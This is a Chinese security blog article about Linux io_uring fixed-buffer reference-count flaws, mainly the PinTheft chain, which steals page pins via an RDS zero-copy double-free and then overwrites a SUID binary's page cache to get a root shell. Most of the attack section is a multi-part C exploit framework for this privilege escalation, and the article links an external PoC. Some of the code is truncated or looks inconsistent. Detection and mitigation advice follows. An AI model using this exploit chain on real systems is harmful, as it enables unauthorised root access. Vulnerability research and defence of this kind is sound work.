Linuxio_uring固定缓冲区逃逸

admin 2026-09-24 05:37:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入分析iouring固定缓冲区机制中的引用计数管理缺陷,揭示CVE-2022-4696与CVE-2026-43494(PinTheft)等漏洞。攻击链通过RDS零拷贝路径的double-free窃取FOLLPIN引用,将页引用计数降至零实现释放,再通过悬空指针覆写SUID二进制页缓存植入恶意ELF载荷,最终获取root权限。文章提供完整PoC框架,对Linux内核安全研究具有重要参考价值。 综合评分: 88 文章分类: 漏洞分析,红队,渗透测试,二进制安全,内核安全


Linux io_uring 固定缓冲区逃逸

原创

Ghost Wolf Lab Ghost Wolf Lab

Ghost Wolf Lab

2026年9月23日 07:30 北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

摘要

io_uring 的固定缓冲区机制通过预注册用户页并长期持有 FOLL_PIN 引用,消除了每次 I/O 操作的页锁定开销。然而,这种“一次注册、永久持有”的设计在 IORING_OP_SPLICE 的异步执行路径中暴露出了引用计数管理的结构性缺陷。CVE-2022-4696 揭示了 io_splice 在异步工作队列中执行时缺少 IO_WQ_WORK_FILES 标志,导致 current->nsproxy 的引用计数未被正确递增,而 get_uts 调用却会使用它,最终造成 use-after-free。更危险的是 PinTheft 攻击(CVE-2026-43494),它通过 RDS 零拷贝发送路径的 double-free 窃取 io_uring 固定缓冲区注册的 FOLL_PIN 引用,将匿名页的引用计数从 1024 降至零,使该页被释放并重新分配为 SUID-root 二进制的页缓存。攻击者随后利用悬空的 io_uring 固定缓冲区指针覆写页缓存,植入恶意 ELF 载荷,执行 SUID 程序即获得 root shell。

io_uring 固定缓冲区

固定缓冲区

io_uring 的核心性能优势之一在于消除了每次 I/O 操作的系统调用开销。但即使绕过了系统调用,每次 I/O 仍然需要将用户缓冲区映射到内核可访问的内存中——这一过程通过 get_user_pages 完成,涉及页表遍历、TLB 填充和引用计数递增。

固定缓冲区机制将这一开销从“每次操作”降低到“每次注册”。用户通过 io_uring_register 的 IORING_REGISTER_BUFFERS 命令预注册一组缓冲区,内核在注册时对这些页执行 pin_user_pages,获取 FOLL_PIN 引用并长期持有。之后的 I/O 操作直接使用这些已锁定的页,无需重复 pin。

PinTheft 的 PoC 精确描述了这一机制的危险副作用:注册一个匿名页作为固定缓冲区,会给该页赋予 1024 个 FOLL_PIN 引用。这个数字并非随意选择——它反映了 pin_user_pages 内部实现中 GUP_PIN_COUNTING_BIAS 常量的值,用于在页引用计数中区分“普通引用”和“引脚引用”。

页引用的生命周期与释放语义

io_uring 固定缓冲区的页引用生命周期包含四个阶段:

注册阶段:io_sqe_buffer_register 调用 pin_user_pages 获取每个页的 FOLL_PIN 引用。内核将这些页的 bio_vec 数组存储在 io_mapped_ubuf 结构中,并与 io_rsrc_node 关联。

使用阶段:I/O 操作通过 IORING_OP_READ_FIXED、IORING_OP_WRITE_FIXED 等固定版本操作,直接引用已注册的 bio_vec,无需再次 pin。

注销阶段:用户调用 IORING_UNREGISTER_BUFFERS 时,io_rsrc_node 被释放,关联的 bio_vec 数组被清理,最终通过 unpin_user_pages 释放 FOLL_PIN 引用。

页释放阶段:当页的引用计数降至零时,页被归还给伙伴系统。

PinTheft 攻击的核心在于:如果在注销之前,FOLL_PIN 引用被外部机制窃取并递减至零,页将被提前释放,而 io_uring 的 bio_vec 中仍然保留着指向该页的悬空指针。

CVE-2022-4696

CVE-2022-4696 是 io_uring 固定缓冲区引用管理中的第一个被广泛认知的缺陷。NVD 的描述指出,当 IORING_OP_SPLICE 操作缺少 IO_WQ_WORK_FILES 标志时,异步工作队列的执行路径会跳过 current->nsproxy 的引用计数递增。

IO_WQ_WORK_FILES 标志的作用是告知 io-wq 工作队列:该操作需要使用 current->nsproxy。如果设置了此标志,io-wq 在创建工作项时会增加 nsproxy 的引用计数;如果未设置,io-wq 假设操作不会触碰 nsproxy 相关资源,因此不增加引用。

然而,io_splice 在处理特定文件时会调用 get_uts(),该函数内部使用 current->nsproxy。异步执行路径中 current 指向的是 io-wq 的内核线程,而非原始用户进程。当 io-wq 线程的 nsproxy 被切换或销毁时,get_uts 访问的就是一个已经失效的 nsproxy 指针,导致 use-after-free。

FOLL_PIN 引用窃取

PinTheft 攻击

PinTheft 攻击(CVE-2026-43494)将 io_uring 固定缓冲区的引用计数缺陷与 RDS 零拷贝发送路径的 double-free 漏洞结合,实现了从引用窃取到页缓存覆写的完整攻击链。

攻击的第一步是注册一个匿名页作为 io_uring 固定缓冲区。如 PinTheft 的 oss-sec 披露所述,这一操作给该页赋予 1024 个 FOLL_PIN 引用。页的 struct page 引用计数因此变为 1024(假设页的初始引用计数为 0,映射到用户空间时增加 1)。

攻击的第二步是利用 RDS 零拷贝发送路径的 double-free 漏洞。rds_message_zcopy_from_user() 函数逐页锁定用户页。如果后续页发生缺页异常,错误处理路径会释放已经锁定的页;但随后 RDS 消息清理路径会再次释放这些页,因为 scatterlist 条目和条目计数在 zcopy 通知器被清除后仍然存活。每次失败的零拷贝发送都会从第一个页窃取一个引用。

攻击者需要执行 1024 次失败的 RDS 零拷贝发送,才能从目标页窃取全部 1024 个 FOLL_PIN 引用。当引用计数降至零时,页被释放并归还给伙伴系统。

页缓存覆写

页被释放后,攻击者立即申请分配大量内存,试图让伙伴系统将刚释放的物理页重新分配给 SUID-root 二进制文件的页缓存。由于伙伴系统的分配策略倾向于重用最近释放的页,这一重分配在大多数情况下能够成功。

SUID-root 二进制文件的页缓存被攻击者控制的物理页占据后,io_uring 固定缓冲区中的 bio_vec 仍然指向该物理页。攻击者通过 IORING_OP_WRITE_FIXED 操作向固定缓冲区写入数据——这些数据被内核直接写入页缓存,覆盖了 SUID 二进制的代码段。

攻击者写入的是一个精心构造的 ELF 载荷,其入口点执行 shell 并返回 root 权限。当受害者执行该 SUID 二进制时,内核从被污染的页缓存中加载代码,恶意 ELF 载荷被执行,攻击者获得 root shell。

POC:

https://github.com/v12-security/pocs/tree/09e835b587bf71249775654061ae4c79e92cf430/pintheft

CVE-2026-43006

CVE-2026-43006 揭示了固定缓冲区导入路径中的另一个缺陷:validate_fixed_range() 在 len 为零时,允许 buf_addr 恰好位于注册区域的末尾。io_import_fixed() 随后计算出 offset == imu->len,导致 bvec 跳过逻辑越过最后一个 bio_vec 条目,从越界的 slab 内存中读取 bv_offset。

KASAN 报告显示,这一越界读发生在 io_import_reg_buf 函数中,读取了距离已分配区域右侧 12 字节的内存。虽然这一漏洞本身仅造成信息泄露,但它与 PinTheft 的页缓存覆写攻击形成了互补——前者可用于获取内核内存布局信息,后者可用于实际的内存写。

基于 liburing 的引用窃取框架

固定缓冲区注册与引用计数探测

// io_uring_pintheft.c — io_uring 固定缓冲区引用窃取 PoC 框架// 编译: gcc -o pintheft pintheft.c -luring -lpthread// 需要内核启用 CONFIG_RDS + CONFIG_RDS_TCP + CONFIG_IO_URING&nbsp;#include#include#include#include#include#include#include#include&nbsp;#define&nbsp;PAGE_SIZE 4096#define&nbsp;PIN_BIAS 1024 &nbsp;// FOLL_PIN 引用计数偏差&nbsp;// 目标页:将被注册为固定缓冲区static&nbsp;void&nbsp;*target_page;&nbsp;// 初始化 io_uring 并注册固定缓冲区int&nbsp;setup_fixed_buffer(struct&nbsp;io_uring *ring)&nbsp;{&nbsp; &nbsp;&nbsp;// 分配页对齐的目标页&nbsp; &nbsp; target_page =&nbsp;mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE,&nbsp;-1,&nbsp;0);&nbsp; &nbsp;&nbsp;if&nbsp;(target_page == MAP_FAILED) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror(”mmap”);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;// 写入可识别的标记&nbsp; &nbsp;&nbsp;memset(target_page,&nbsp;0x41, PAGE_SIZE);&nbsp;&nbsp; &nbsp;&nbsp;// 注册为固定缓冲区&nbsp; &nbsp;&nbsp;struct&nbsp;iovec&nbsp;iov = {&nbsp; &nbsp; &nbsp; &nbsp; .iov_base = target_page,&nbsp; &nbsp; &nbsp; &nbsp; .iov_len = PAGE_SIZE&nbsp; &nbsp; };&nbsp;&nbsp; &nbsp;&nbsp;int&nbsp;ret =&nbsp;io_uring_register_buffers(ring, &iov,&nbsp;1);&nbsp; &nbsp;&nbsp;if&nbsp;(ret <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr, ”io_uring_register_buffers failed: %d\n”, ret);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;printf(”[+] 固定缓冲区已注册: %p&nbsp;(FOLL_PIN 引用 +%d)\n”,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;target_page, PIN_BIAS);&nbsp; &nbsp;&nbsp;return&nbsp;0;}&nbsp;// 探测页的当前引用计数(通过 /proc/self/pagemap 或经验判断)int&nbsp;probe_page_refcount(void&nbsp;*addr)&nbsp;{&nbsp; &nbsp;&nbsp;// 在实际攻击中,攻击者通过反复尝试释放页并观察行为来推断引用计数&nbsp; &nbsp;&nbsp;// 此处简化为返回状态&nbsp; &nbsp;&nbsp;return&nbsp;0;}

通过 RDS 零拷贝发送窃取引用

// rds_refcount_steal.c — 利用 RDS 零拷贝 double-free 窃取页引用&nbsp;#include#include#include#include&nbsp;#define&nbsp;RDS_PORT 4000&nbsp;// 创建 RDS socketint&nbsp;create_rds_socket(void)&nbsp;{&nbsp; &nbsp;&nbsp;int&nbsp;sock =&nbsp;socket(AF_RDS, SOCK_SEQPACKET,&nbsp;0);&nbsp; &nbsp;&nbsp;if&nbsp;(sock <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror(”RDS socket”);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;sock;}&nbsp;// 执行一次失败的零拷贝发送,窃取一个页引用int&nbsp;steal_one_reference(int&nbsp;sock,&nbsp;void&nbsp;*target_page)&nbsp;{&nbsp; &nbsp;&nbsp;struct&nbsp;msghdr&nbsp;msg = {0};&nbsp; &nbsp;&nbsp;struct&nbsp;iovec&nbsp;iov[2];&nbsp;&nbsp; &nbsp;&nbsp;// 第一个 iov 指向目标页(将被窃取引用)&nbsp; &nbsp; iov[0].iov_base = target_page;&nbsp; &nbsp; iov[0].iov_len = PAGE_SIZE;&nbsp;&nbsp; &nbsp;&nbsp;// 第二个 iov 指向无效地址,触发缺页异常&nbsp; &nbsp;&nbsp;// 缺页导致错误路径释放已锁定的第一页&nbsp; &nbsp;&nbsp;// 随后清理路径再次释放,完成 double-free&nbsp; &nbsp; iov[1].iov_base = (void&nbsp;*)0xdead0000; &nbsp;// 无效地址&nbsp; &nbsp; iov[1].iov_len = PAGE_SIZE;&nbsp;&nbsp; &nbsp; msg.msg_iov = iov;&nbsp; &nbsp; msg.msg_iovlen =&nbsp;2;&nbsp;&nbsp; &nbsp;&nbsp;// 使用 RDS 零拷贝发送(MSG_ZEROCOPY)&nbsp; &nbsp;&nbsp;ssize_t&nbsp;ret =&nbsp;sendmsg(sock, &msg, MSG_ZEROCOPY | MSG_DONTWAIT);&nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;(ret <&nbsp;0&nbsp;&& errno == EFAULT) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 预期的缺页错误,引用已被窃取&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp;else&nbsp;if&nbsp;(ret <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 其他错误&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;0;}&nbsp;// 执行 PIN_BIAS 次窃取,将引用计数降至零int&nbsp;drain_all_references(int&nbsp;sock,&nbsp;void&nbsp;*target_page)&nbsp;{&nbsp; &nbsp;&nbsp;int&nbsp;stolen =&nbsp;0;&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < PIN_BIAS; i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;int&nbsp;ret =&nbsp;steal_one_reference(sock, target_page);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(ret ==&nbsp;1) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stolen++;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 短暂延迟,避免被内核限流&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(i %&nbsp;100&nbsp;==&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;usleep(1000);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;printf(”[+] 已窃取 %d 个页引用 (目标: %d)\n”, stolen, PIN_BIAS);&nbsp; &nbsp;&nbsp;return&nbsp;stolen;}

页缓存覆写与 ELF 载荷注入

// pagecache_overwrite.c — 通过悬空固定缓冲区覆写 SUID 页缓存&nbsp;#include#include&nbsp;// 最小 ELF 载荷:执行 /bin/sh 并保持 root 权限// 实际攻击中,载荷需要与目标 SUID 二进制的架构和入口点匹配static&nbsp;const&nbsp;unsigned&nbsp;char&nbsp;elf_payload[] = {&nbsp; &nbsp;&nbsp;0x7f,&nbsp;0x45,&nbsp;0x4c,&nbsp;0x46, &nbsp;// ELF magic&nbsp; &nbsp;&nbsp;0x02,&nbsp;0x01,&nbsp;0x01,&nbsp;0x00, &nbsp;// 64-bit, little-endian&nbsp; &nbsp;&nbsp;// ... 完整 ELF 头、程序头和 shell 代码};&nbsp;// 等待页被重新分配为 SUID 页缓存int&nbsp;wait_for_pagecache_reclaim(const&nbsp;char&nbsp;*suid_path)&nbsp;{&nbsp; &nbsp;&nbsp;printf(”[*] 等待页被重新分配为 %s 的页缓存...\n”, suid_path);&nbsp;&nbsp; &nbsp;&nbsp;// 打开 SUID 二进制,触发页缓存填充&nbsp; &nbsp;&nbsp;int&nbsp;fd =&nbsp;open(suid_path, O_RDONLY);&nbsp; &nbsp;&nbsp;if&nbsp;(fd <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror(”open SUID binary”);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;// 读取文件内容,将其页缓存加载到内存&nbsp; &nbsp;&nbsp;char&nbsp;buf[4096];&nbsp; &nbsp;&nbsp;ssize_t&nbsp;n =&nbsp;read(fd, buf,&nbsp;sizeof(buf));&nbsp; &nbsp;&nbsp;close(fd);&nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;(n >&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf(”[+] SUID 页缓存已加载 (%zd 字节)\n”, n);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;0;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;return&nbsp;-1;}&nbsp;// 通过 io_uring WRITE_FIXED 向悬空缓冲区写入 ELF 载荷int&nbsp;overwrite_via_fixed_buffer(struct&nbsp;io_uring *ring,&nbsp;int&nbsp;buf_index,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;const&nbsp;void&nbsp;*payload,&nbsp;size_t&nbsp;len) {&nbsp; &nbsp;&nbsp;struct&nbsp;io_uring_sqe&nbsp;*sqe =&nbsp;io_uring_get_sqe(ring);&nbsp; &nbsp;&nbsp;if&nbsp;(!sqe) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr, ”无法获取 SQE\n”);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;// 准备一个 pipe 作为数据源&nbsp; &nbsp;&nbsp;int&nbsp;pipefd[2];&nbsp; &nbsp;&nbsp;if&nbsp;(pipe(pipefd) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror(”pipe”);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;write(pipefd[1], payload, len);&nbsp; &nbsp;&nbsp;close(pipefd[1]);&nbsp;&nbsp; &nbsp;&nbsp;// 提交 splice 操作:从 pipe 读取数据到固定缓冲区&nbsp; &nbsp;&nbsp;// 由于固定缓冲区的页已被重分配为 SUID 页缓存,&nbsp; &nbsp;&nbsp;// 数据将被写入页缓存,覆盖 SUID 二进制代码&nbsp; &nbsp;&nbsp;io_uring_prep_splice(sqe, pipefd[0],&nbsp;-1, buf_index,&nbsp;-1, len,&nbsp;0);&nbsp; &nbsp; sqe->flags |= IOSQE_FIXED_FILE;&nbsp;&nbsp; &nbsp;&nbsp;int&nbsp;ret =&nbsp;io_uring_submit(ring);&nbsp; &nbsp;&nbsp;if&nbsp;(ret <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr, ”io_uring_submit failed: %d\n”, ret);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;close(pipefd[0]);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;// 等待完成&nbsp; &nbsp;&nbsp;struct&nbsp;io_uring_cqe&nbsp;*cqe;&nbsp; &nbsp;&nbsp;io_uring_wait_cqe(ring, &cqe);&nbsp; &nbsp;&nbsp;int&nbsp;result = cqe->res;&nbsp; &nbsp;&nbsp;io_uring_cqe_seen(ring, cqe);&nbsp; &nbsp;&nbsp;close(pipefd[0]);&nbsp;&nbsp; &nbsp;&nbsp;if&nbsp;(result <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr, ”splice failed: %d\n”, result);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;-1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;printf(”[+] 已通过固定缓冲区写入 %d 字节到页缓存\n”, result);&nbsp; &nbsp;&nbsp;return&nbsp;0;}

完整攻击链组装

// pintheft_full.c — PinTheft 完整攻击链&nbsp;int&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;*argv[])&nbsp;{&nbsp; &nbsp;&nbsp;if&nbsp;(argc <&nbsp;2) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr, ”用法: %s \n”, argv[0]);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;const&nbsp;char&nbsp;*suid_path = argv[1];&nbsp; &nbsp;&nbsp;struct&nbsp;io_uring&nbsp;ring;&nbsp;&nbsp; &nbsp;&nbsp;// 步骤 1: 初始化 io_uring&nbsp; &nbsp;&nbsp;if&nbsp;(io_uring_queue_init(32, &ring,&nbsp;0) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;perror(”io_uring_queue_init”);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;printf(”[*] io_uring 已初始化\n”);&nbsp;&nbsp; &nbsp;&nbsp;// 步骤 2: 注册固定缓冲区(注入 1024 个 FOLL_PIN 引用)&nbsp; &nbsp;&nbsp;if&nbsp;(setup_fixed_buffer(&ring) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;// 步骤 3: 通过 RDS 零拷贝发送窃取全部引用&nbsp; &nbsp;&nbsp;int&nbsp;rds_sock =&nbsp;create_rds_socket();&nbsp; &nbsp;&nbsp;if&nbsp;(rds_sock <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr, ”[-] RDS 不可用(需要 CONFIG_RDS + CONFIG_RDS_TCP)\n”);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;int&nbsp;stolen =&nbsp;drain_all_references(rds_sock, target_page);&nbsp; &nbsp;&nbsp;if&nbsp;(stolen < PIN_BIAS) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;fprintf(stderr, ”[-] 仅窃取 %d/%d 个引用,攻击可能失败\n”,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stolen, PIN_BIAS);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;close(rds_sock);&nbsp;&nbsp; &nbsp;&nbsp;// 步骤 4: 触发页释放并重分配为 SUID 页缓存&nbsp; &nbsp;&nbsp;if&nbsp;(wait_for_pagecache_reclaim(suid_path) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;// 步骤 5: 通过悬空固定缓冲区覆写页缓存&nbsp; &nbsp;&nbsp;if&nbsp;(overwrite_via_fixed_buffer(&ring,&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;elf_payload,&nbsp;sizeof(elf_payload)) <&nbsp;0) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;1;&nbsp; &nbsp; }&nbsp;&nbsp; &nbsp;&nbsp;printf(”[+] 攻击完成。执行 %s 获取 root shell。\n”, suid_path);&nbsp;&nbsp; &nbsp;&nbsp;io_uring_queue_exit(&ring);&nbsp; &nbsp;&nbsp;return&nbsp;0;}

说明:该 PoC 展示了 PinTheft 攻击的完整框架。步骤 1-2 注册固定缓冲区并注入 FOLL_PIN 引用;步骤 3 通过 RDS 零拷贝的 double-free 窃取引用;步骤 4 等待页被重分配为 SUID 页缓存;步骤 5 通过悬空指针覆写页缓存。实际利用中,ELF 载荷需要与目标 SUID 二进制的架构和入口点精确匹配,且 RDS 模块的可用性是攻击的前置条件。

检测与防御

引用计数完整性监控

PinTheft 攻击的核心信号是页引用计数的异常递减。Linux 内核可以通过以下方式监控:

  • 页引用计数审计:在 unpin_user_pages 和 put_page 的关键路径上增加审计钩子,记录页引用计数的变化。当页的引用计数在短时间内经历大幅递减(超过正常阈值)时触发告警。
  • RDS 零拷贝失败率监控:攻击者需要执行 1024 次失败的 RDS 零拷贝发送。监控 RDS 发送的错误率和 EFAULT 频率,异常高的失败率可能表明正在进行的引用窃取攻击。

io_uring 权限与隔离

  • 限制 io_uring 访问:通过 kernel.io_uring_disabled sysctl 参数限制非特权用户对 io_uring 的访问。设置为 1 时,只有具有 CAP_SYS_ADMIN 能力的进程才能使用 io_uring;设置为 2 时,完全禁用 io_uring。如 PinTheft 的利用条件所述,攻击需要 io_uring_disabled=0。
  • 禁用 RDS 模块:如果业务不需要 RDS 功能,卸载并禁用 RDS 模块。PinTheft 的缓解方案建议:rmmod rds_tcp rds 并在 /etc/modprobe.d/ 中添加禁用配置。
  • SUID 二进制保护:使用 nosuid 挂载选项或文件系统级别的完整性监控(如 IMA/EVM)保护 SUID 二进制的页缓存不被篡改。

内核补丁追踪

  • CVE-2022-4696 修复:升级至 Linux 5.10.160 或更高版本。该版本为 io_splice 添加了缺失的 IO_WQ_WORK_FILES 标志,确保异步执行路径正确管理 nsproxy 引用计数。
  • CVE-2026-43006 修复:该漏洞通过在内核 6.12.36 和 6.15.5 中修复,io_import_fixed() 在 len 为零时提前返回,避免遍历 bvec 数组。
  • PinTheft 修复:关注 RDS 零拷贝路径的补丁,确保错误处理路径不会重复释放已锁定的页。

运行时行为检测

  • 页缓存完整性校验:对 SUID 二进制文件的页缓存定期计算哈希,与磁盘上的文件内容比对。任何不一致都表明页缓存被篡改。
  • 异常的 io_uring 操作模式:监控 io_uring 固定缓冲区的注册和注销频率。攻击者需要在短时间内完成注册、窃取、覆写三个步骤,这种操作模式与正常应用的工作负载显著不同。

结语

io_uring 固定缓冲区的页引用管理揭示了一个深层矛盾:为了消除每次 I/O 操作的页锁定开销,内核选择长期持有 FOLL_PIN 引用——但长期持有意味着引用的生命周期与页的实际使用状态解耦。当外部机制(如 RDS 零拷贝的 double-free)能够从已注册的页中窃取引用时,页的引用计数可以在 io_uring 仍然持有 bio_vec 指针的情况下降至零,导致悬空指针和页缓存覆写。

PinTheft 攻击的精妙之处在于它不依赖 io_uring 自身的代码缺陷,而是将 io_uring 1024 个 FOLL_PIN 引用作为可被其他漏洞利用的资源池。这种跨子系统的漏洞组合使得防御更加困难:io_uring 的开发者无法预见 RDS 路径中的 double-free,而 RDS 的开发者也无法预见 io_uring 会以这种方式持有页引用。

对于防御者而言,禁用 io_uring 或 RDS 是有效的缓解措施,但它们只是权宜之计。更根本的解决方案需要在页引用管理的层面进行强化:为 FOLL_PIN 引用引入不可窃取的隔离机制,或在页引用计数降至零时检测是否存在悬空的固定缓冲区指针。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:Ghost Wolf Lab Ghost Wolf Lab Ghost Wolf Lab《Linux io_uring 固定缓冲区逃逸》

评论:0   参与:  0